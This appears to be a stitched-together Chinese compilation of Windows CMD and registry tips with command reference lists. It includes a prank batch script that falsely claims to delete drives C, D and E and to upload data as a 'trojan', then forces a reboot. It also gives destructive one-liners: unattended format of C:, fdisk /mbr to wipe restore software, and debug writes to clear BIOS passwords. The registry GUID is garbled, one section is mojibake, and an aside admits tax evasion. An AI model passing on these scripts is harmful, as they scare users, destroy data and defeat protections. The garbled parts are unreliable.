找回误删并清除了回收站的文档 步骤: 1、单击“开始——运行,然后输入regedit (打开注册表) 2、依次展开:HEKEY——LOCAL——MACHIME/SOFTWARE/microsoft/WINDOWS/ CURRENTVERSION/EXPLORER/DESKTOP/NAMESPACE 在左边空白外点击“新建” ,选择:“主键”,把它命名为“645FFO40——5081——101B——9F08—— 00AA002F954E” 再把右边的“默认”的主键的键值设为“回收站”,然后退出注册表。就OK啦。 3、要重启你的计算机。 只要你机器没有运行过磁盘整理。系统完好.任何时候的文件都可以找回来。 (稽查局就是用这种方法在公司电脑里查到了销售清单,才发现我们偷税的) 最简单的隐藏文件夹方法(别人绝对找不到) 隐藏的方法如下: eg:现需隐藏e盘bak目录下的tools文件夹e:\bak\tools 运行:cmd 键入:attrib +s +a +h +r e:\bak\tools 然后,你再进去看e盘bak目录下,是否还有tools这个文件夹! 这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见 自己需要访问的时候怎么办? 打开我的电脑---键入e:\bak\tools就可以直接进入,条件是,你必须要记得自己

的隐藏文件夹名(切记) 现在需要取消该隐藏文件夹,命令如下: 运行:cmd 键入:attrib -a -s -h -r e:\bak\tools 进入e盘bak目录下,会发现tools文件夹显示出来了 如果你想要真正隐藏文件夹,还是按上面说的比较保险。 (至于放什么,放在哪就是你的问题了,千万别说我把你教坏哦) 防止别人趁你不在的时候开你的电脑 @ color 4f @echo off echo 删除计算机的C盘的所有文件...... ping -n 2 127.1>nul echo 已删除完毕 echo. echo 删除计算机的D盘的所有文件...... ping -n 2 127.1>nul echo 已删除完毕 echo. echo. echo 删除计算机的E盘的所有文件...... ping -n 2 127.1>nul echo 已删除完毕 @ color echo. echo. ========================================= echo. 木马制造者:***(当然是保密啦)o(∩_∩)o... echo. ========================================= echo. 系统60秒后自动重启,干脆直接把XP安装盘放进去吧...... echo. 这是一个木马程序......所有资料已经传到*****@https://www.wendangku.net/doc/6c351216.html, shutdown /r /t 60 echo echo.

想学习如何使用CMD命令提示符的人必看

想学习如何使用CMD命令提示符的人必看 如何打开CMD:点击开始-运行-输入CMD-打开命令提示符 下面EXE的意思是:例如 1、磁盘操作 fdisk 参数/mbr 重建主引导记录EXP:fdisk /mbr 重建主引导记录(可以洗掉还原精灵)format 参数:/q 快速格式化/u 不可恢复/autotest 不提示/s 创建MS-DOS 引导盘EXP:format c: /q /u /autotest 自动快速格式化C盘(危险!!!) 2、目录操作 DIR [目录名或文件名] [/S][/W][/P][/A] 列出目录参数: /s 查找子目录/w 只显示文件名/p 分页/a 显示隐藏文件EXP: DIR format.exe /s查找该盘的format.exe文件并报告位置 CD [目录名] PS:可以使用相对目录或绝对目录进入目录exp:CD AA 进入当前文件夹下的AA 目录,cd .. 进入上一个文件夹cd \\返回根目录;cd c:\\windows 进入c:\\windows文件夹MKDIR [目录名] 创建目录EXP:MKDIR HELLOWORLD 创建HELLOWORLD目录 3、文件操作 del [目录名或文件名] [/f][/s][/q] 删除参数:/f 删除只读文件/s 删除该目录及其下的所有内容/q 删除前不确认 exp: del c:\\del /s /q 自动删除c盘的del目录 copy [源文件或目录] [目标目录] 复制文件EXP:copy d:\\pwin98\\*.* c:\\presetup 将d盘的pwin98的所有文件复制到c盘的presetup下 4、内存操作 debug 调试内存参数-w [文件名] 写入二进制文件-o [地址1] [地址2] 输出内存-q 退出exp:o 70 10[return] o 71 01 [return] 01[return] q[return] 把70到71的内存都改成01,用以清除AWARDbios密码.debug 还可以破解硬盘保护卡等,但只可以在纯DOS下用. DOS命令全集 (一)MD——建立子目录 1.功能:创建新的子目录 2.类型:内部命令 3.格式:MD[盘符:][路径名] 4.使用说明: (1)“盘符”:指定要建立子目录的磁盘驱动器字母,若省略,则为当前驱动器; (2)“路径名”:要建立的子目录的上级目录名,若缺省则建在当前目录下。 例:(1)在C盘的根目录下创建名为FOX的子目录;(2)在FOX子目录下再创建USER子目录。 C:\\>MD FOX (在当前驱动器C盘下创建子目录FOX) C:\\>MD FOX\\USER (在FOX 子目录下再创建USER子目录) (二)CD——改变当前目录 1.功能:显示当前目录 2.类型:内部命令 3.格式:CD[盘符:][路径名][子目录名] 4.使用说明:

电脑CMD命令大全

如果你想了解本页面是怎么来的请下载批处理代码到--其他\CMD命令速查手册运行就可以得到本页面 CMD命令速查手册 雪深-2009-03-04星期三 ASSOC显示或修改文件扩展名关联。 AT计划在计算机上运行的命令和程序。 ATTRIB显示或更改文件属性。 BREAK设置或清除扩展式CTRL+C检查。 CACLS显示或修改文件的访问控制列表(ACLs)。 CALL从另一个批处理程序调用这一个。 CD显示当前目录的名称或将其更改。 CHCP显示或设置活动代码页数。 CHDIR显示当前目录的名称或将其更改。 CHKDSK检查磁盘并显示状态报告。 CHKNTFS显示或修改启动时间磁盘检查。 CLS清除屏幕。 CMD打开另一个Windows命令解释程序窗口。 COLOR设置默认控制台前景和背景颜色。 COMP比较两个或两套文件的内容。 COMPACT显示或更改NTFS分区上文件的压缩。 CONVERT将FAT卷转换成NTFS。您不能转换当前驱动器。 COPY将至少一个文件复制到另一个位置。 DATE显示或设置日期。 DEL删除至少一个文件。 DIR显示一个目录中的文件和子目录。 DISKCOMP比较两个软盘的内容。 DISKCOPY将一个软盘的内容复制到另一个软盘。 DOSKEY编辑命令行、调用Windows命令并创建宏。 ECHO显示消息,或将命令回显打开或关上。 ENDLOCAL结束批文件中环境更改的本地化。 ERASE删除至少一个文件。 EXIT退出CMD.EXE程序(命令解释程序)。 FC比较两个或两套文件,并显示不同处。 FIND在文件中搜索文字字符串。 FINDSTR在文件中搜索字符串。 FOR为一套文件中的每个文件运行一个指定的命令。 FORMAT格式化磁盘,以便跟Windows使用。 FTYPE显示或修改用于文件扩展名关联的文件类型。 GOTO将Windows命令解释程序指向批处理程序中某个标明的行。 GRAFTABL启用Windows来以图像模式显示扩展字符集。 HELP提供Windows命令的帮助信息。 IF执行批处理程序中的条件性处理。 LABEL创建、更改或删除磁盘的卷标。

开始→运行(cmd)命令大全(绝对经典)

开始→运行(cmd)命令大全(绝对经典)CMD运行指令 开始→运行→CMD→键入以下命令即可: gpedit.msc-----组策略 sndrec32-------录音机 Nslookup-------IP地址侦测器 explorer-------打开资源管理器 logoff---------注销命令 tsshutdn-------60秒倒计时关机命令 lusrmgr.msc----本机用户和组 services.msc---本地服务设置 oobe/msoobe /a----检查XP是否激活 notepad--------打开记事本 cleanmgr-------垃圾整理 net start messenger----开始信使服务 compmgmt.msc---计算机管理 net stop messenger-----停止信使服务 conf-----------启动netmeeting dvdplay--------DVD播放器 charmap--------启动字符映射表 diskmgmt.msc---磁盘管理实用程序 calc-----------启动计算器 dfrg.msc-------磁盘碎片整理程序 chkdsk.exe-----Chkdsk磁盘检查 devmgmt.msc--- 设备管理器 regsvr32 /u *.dll----停止dll文件运行 drwtsn32------ 系统医生 rononce -p ----15秒关机 dxdiag---------检查DirectX信息

regedt32-------注册表编辑器 Msconfig.exe---系统配置实用程序 rsop.msc-------组策略结果集 mem.exe--------显示内存使用情况 regedit.exe----注册表 winchat--------XP自带局域网聊天 progman--------程序管理器 winmsd---------系统信息 perfmon.msc----计算机性能监测程序 winver---------检查Windows版本 sfc /scannow-----扫描错误并复原 winipcfg-------IP配置 taskmgr-----任务管理器(2000/xp/2003) command--------cmd fsmgmt.msc 共享文件夹 netstat -an----查看端口 osk 屏幕键盘 install.asp----修改注册网页 eventvwr.msc 时间查看器 secpol.msc 本地安全设置 services.msc 服务 2K accwiz.exe > 辅助工具向导 acsetups.exe > acs setup dcom server executable actmovie.exe > 直接显示安装工具 append.exe > 允许程序打开制定目录中的数据 arp.exe > 显示和更改计算机的ip与硬件物理地址的对应列表at.exe > 计划运行任务 atmadm.exe > 调用管理器统计 attrib.exe > 显示和更改文件和文件夹属性 autochk.exe > 检测修复文件系统 autoconv.exe > 在启动过程中自动转化系统

CMD打开dos窗口的命令提示符

CMD打开dos窗口的命令提示符 2010-03-23 21:23 CMD cmd - cmd.exe - 进程信息 进程文件:cmd 或者cmd.exe 进程名称:Windows Command Prompt 描述: cmd.exe是微软Windows系统的命令行程序,类似与微软的DOS操作系统。cmd.exe是一个32位的命令行程序,运行在Windows NT/2000/XP上。这不是纯粹的系统程序,但是如果终止它,可能会导致不可知的问题。 出品者:Microsoft Corp. 属于:Microsoft Windows Operating System 打开方式: 开始——运行——输入“cmd”——确定 系统进程:是 后台程序:否 使用网络:否 硬件相关:否 常见错误:未知N/A 内存使用:未知N/A 安全等级(0-5): 0 间谍软件:否 广告软件:否 病毒:否 木马:否 SHIFT 更改批处理文件中可替换参数的位置。 SHIFT [/n] 如果命令扩展名被启用,SHIFT 命令支持/n 命令选项;该命令选项告诉命令从第n 个参数开始移位;n 介于零和八之间。例如: SHIFT /2

会将%3 移位到%2,将%4 移位到%3,等等;并且不影响%0 和%1。 SORT SORT [/R] [/+n] [/M kilobytes] [/L locale] [/RE recordbytes] [[drive1:][path1]filename1] [/T [drive2:][path2]] [/O [drive3:][path3]filename3] /+n 指定开始每个比较的字符号码n。/+3 说明每个比较应从每行的第三个字符开始。少于n 个字符的行排在其它行之前。按默认值,从每行的第一个字符开始比较。 /L[OCALE] locale 用指定的区域设置替代系统默认区域设置。""C"" 区域设置产生最快的排序顺序并且是当前的唯一其它选择。排序总是不分大小写的。 /M[EMORY] kilobytes 指定用于排序的主内存量,单位为KB。最小内存量总是160 KB。如果指定内存大小,无论主内存的可用量是多少,指定的内存量会全部用于排序。要取得最佳性能,通常不指定内存大? 0茨现担绻锏侥献畲竽诖嬷担判蚧嵋淮瓮瓿?(非临时文件);否则,排序会分两次完成(没有完全排序的数据存储在临时文件中);用于排序和合并的内存量相等。如果输入和输出都是文件,默认最大内存量为可用主内存的90%;否则,为主内存的45%。 /REC[ORD_MAXIMUM] characters 指定记录中的最大字符数量(默认值为4096,最大值为65535)。 /R[EVERSE] 颠倒排序顺序,即,从Z 到A,再从9 到0。 [drive1:][path1]filename1 指定要排序的文件。如果没有指定,则排序标准输入。指定输入文件比将同一个文件重定向为标准输入快。 /T[EMPORARY] [drive2:][path2] 指定保留排序工作存储的目录路径,以防主内存无法容纳数据。默认值是使用系统临时目录。 /O[UTPUT] [drive3:][path3]filename3 指定在哪个文件中储存经过排序的输入。如果没有指定,数据会被写入标准输出。指定输出文件比将标准输出重定向到同一个文件快。 START

相关文档